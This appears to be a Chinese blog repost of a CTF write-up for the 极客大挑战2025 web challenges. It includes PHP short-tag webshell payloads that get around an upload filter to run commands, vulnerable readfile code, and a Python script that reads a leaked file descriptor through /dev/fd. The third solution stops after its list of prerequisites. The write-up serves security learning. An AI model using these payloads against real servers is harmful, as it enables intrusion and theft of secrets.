欢迎光临
我们一直在努力

极客大挑战2025-web复现

题解

1.one_last_image

进来以后发现是个文件上传的题,然后就试着传一个php文件上去发现里面给出了uploads的路径,访问。如果是空的php进去会发现什么都没有,为了绕过对常见的php标签以及命令执行函数的限制,我们用短标签。

<?=`env`;

<?=('sys'.'tem')('env');

然后顺着操作即可。然后其他人说在phpinfo里面可以找到,

2.Vibe SEO

看到这个题还是很蒙的,因为界面里什么都没有。然后了解了一下才知道站点地图是什么。

站点地图(sitemap.xml)是一个XML格式的文件,它列出了网站中所有重要的网页URL,并可以附带每个URL的额外信息(例如最后更新时间、更新频率、相对重要性等),主要作用是帮助搜索引擎更高效、全面地抓取和索引网站内容。

以下是它的核心要点:

核心作用

  • 引导搜索引擎爬虫:特别是对于大型、结构复杂(深层链接多)或新建立的网站,能确保搜索引擎发现所有重要页面,避免遗漏。

  • 提示更新频率和优先级:通过 <lastmod>(最后修改时间)、<changefreq>(更新频率)和 <priority>(优先级,0.0-1.0)等可选标签,为搜索引擎抓取提供参考建议(搜索引擎不一定会完全遵循)。

  • 加速内容索引:新发布或更新的页面可以通过提交站点地图,更快地被搜索引擎发现和收录。

  • 文件位置

    通常放置在网站的根目录下,例如:

    https://www.example.com/sitemap.xml

    大型网站可以使用站点地图索引文件来管理多个站点地图文件。

    盲猜/aa__^^.php是个线索,从中可以看到: 脚本正在寻找一个叫 filename 的参数readfile() 那么尝试提供一个参数 /aa__^^.php?filename=aa__^^.php 可以成功读到这个脚本的源码:

    <?php
    $flag = fopen('/my_secret.txt', 'r');
    if (strlen($_GET['filename']) < 11) {
    readfile($_GET['filename']);
    } else {
    echo "Filename too long";
    }

    很明显,我们不可能直接获得答案,因为字符限制。但是,因为fopen打开了 txt 文件并且将handle的值给了变量 flag。并且他没有对应的文件关闭操作,所以,他可以通过文件描述符来进行读取

    (Linux 中一个进程打开一个文件时,内核会分配一个文件描述符给这个文件 handle,新打开的文件从 3 开始递增,可以通过 /proc/self/fd/<自然数>/dev/fd/<自然数> 来访问这些文件描述符 )

    遍历操作:

    import requests

    URL = "http://REPLACE TO YOUR URL"

    for i in range(99):
    print(requests.get(URL + f"/aa__^^.php?filename=/dev/fd/{i}").text)

    3.popself

    这题对于小白来讲还是不太友好,有这么一些前置知识是需要了解的。

    • 对魔术方法的基础利用(上b站看看)

    • php低版本非法传参机制

    • php md5值与数值字符串强弱比较问题

    • 可变函数的数组调用

    赞(0)
    未经允许不得转载:171主机测评 » 极客大挑战2025-web复现
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址